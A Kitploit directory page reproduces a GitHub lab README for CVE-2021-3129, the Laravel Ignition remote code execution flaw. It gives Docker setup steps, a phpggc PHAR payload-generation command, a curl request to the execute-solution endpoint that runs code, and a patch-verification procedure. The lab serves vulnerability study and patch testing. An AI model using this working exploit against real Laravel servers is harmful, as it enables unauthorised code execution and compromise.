Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-3129 — Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts. | Kitploit
Ferramentas/GitHubGitHub/cchiaravalentini/cve-2021-3129
Container SecurityPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubcchiaravalentini/cve-2021-3129

CVE-2021-3129

Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts.

30 de set. de 2026Ainda não revisado
Compartilhar
Ver Repositório
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2021-3129 — Laravel Ignition Remote Code Execution

Overview

This repository contains the reproduction environment and documentation for CVE-2021-3129, a critical Remote Code Execution vulnerability in Laravel's Ignition debug package (versions < 2.5.2).

CVE: CVE-2021-3129 CVSS Score: 9.8 (Critical) Affected software: facade/ignition < 2.5.2, Laravel < 8.4.3 Vulnerability type: Unauthenticated Remote Code Execution Discovered by: Ambionics Security (January 2021)


Repository Structure

CVE-2021-3129/ ├── docker/ │ ├── docker-compose.yml # Vulnerable environment (port 8000) │ └── docker-compose-patched.yml # Patched environment (port 8001) ├── exploit/ │ ├── phpggc/ # PHAR payload generator │ ├── CVE-2021-3129_exploit/ # Exploit script │ └── laravel-exploits/ # Ambionics exploit scripts ├── screenshots/ # Step-by-step documentation ├── diary.md # Work log └── README.md # This file


Requirements

  • Docker Desktop
  • Docker Compose
  • Apple Silicon (M1/M2/M3): the compose files already include platform: linux/amd64 for MySQL 5.7 compatibility. No changes needed.
  • Intel/AMD (Windows/Linux/Mac): remove the platform: linux/amd64 line from both compose files before running.

Reproduce the Vulnerability

Step 1 — Start the vulnerable environment

cd docker
docker compose up -d

The vulnerable Laravel application (Ignition 2.5.1) will be available at http://localhost:8000

Step 2 — Copy phpggc into the container

docker cp exploit/phpggc docker-app-1:/tmp/phpggc

Step 3 — Enter the container and generate the payload

docker exec -it docker-app-1 bash
php -d phar.readonly=0 /tmp/phpggc/phpggc Monolog/RCE1 system id \
  --phar phar -o /tmp/exploit.phar

Step 4 — Execute the exploit

curl -s http://localhost/_ignition/execute-solution \
  -H 'Content-Type: application/json' \
  -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"variableName":"username",
"viewFile":"phar:///tmp/exploit.phar/test.txt"}}'

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Reproduce the Fix

Step 1 — Start the patched environment

cd docker
docker compose -f docker-compose-patched.yml up -d

The patched application will be available at http://localhost:8001

Step 2 — Update Ignition to 2.5.2

docker exec -it docker-app-1 bash
composer self-update --2
composer require facade/ignition:2.5.2

Step 3 — Run the same exploit

Repeat Steps 2-4 from above against http://localhost:8001

Expected output: none — the exploit is blocked by the patch.


References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-3129
  • Ambionics writeup: https://www.ambionics.io/blog/laravel-debug-rce
  • phpggc: https://github.com/ambionics/phpggc
  • Ignition patch: https://github.com/facade/ignition/releases/tag/2.5.2
  • CISA advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Baixar ferramenta

Ferramentas relacionadas

  • trivy

    Encontre vulnerabilidades, configurações incorretas, segredos, SBOM em contêineres, Kubernetes, repositórios de código, nuvens e mais

  • grype

    Um scanner de vulnerabilidades para imagens de contêineres e sistemas de arquivos.

  • syft

    Ferramenta de CLI e biblioteca para gerar uma Software Bill of Materials (SBOM) a partir de imagens de contêineres e sistemas de arquivos.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    745
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    Plataforma IMSI Catcher que implanta uma célula GSM falsa para intercetar SMS, injetar mensagens e rastrear dispositivos móveis

    732
  • 3

    Callisto

    jetp1ane/callisto

    Ferramenta automatizada de análise de vulnerabilidades binárias que descompila executáveis via Ghidra, verifica código pseudo-C com Semgrep e valida descobertas usando GPT-3.5-Turbo para reduzir falsos positivos.

    610
  • 4

    opencti

    opencti-platform/opencti

    Plataforma Aberta de Inteligência de Ameaças Cibernéticas

    546
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    414
  • 6

    DFRoot

    a2333c/dfroot

    Ferramenta de root para Android para Samsung Galaxy S25 Ultra (SM-S938B) que encadeia DirtyFrag CVE-2026-43284 e CVE-2026-43499 para obter root automaticamente no boot via KernelSU.

    413

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →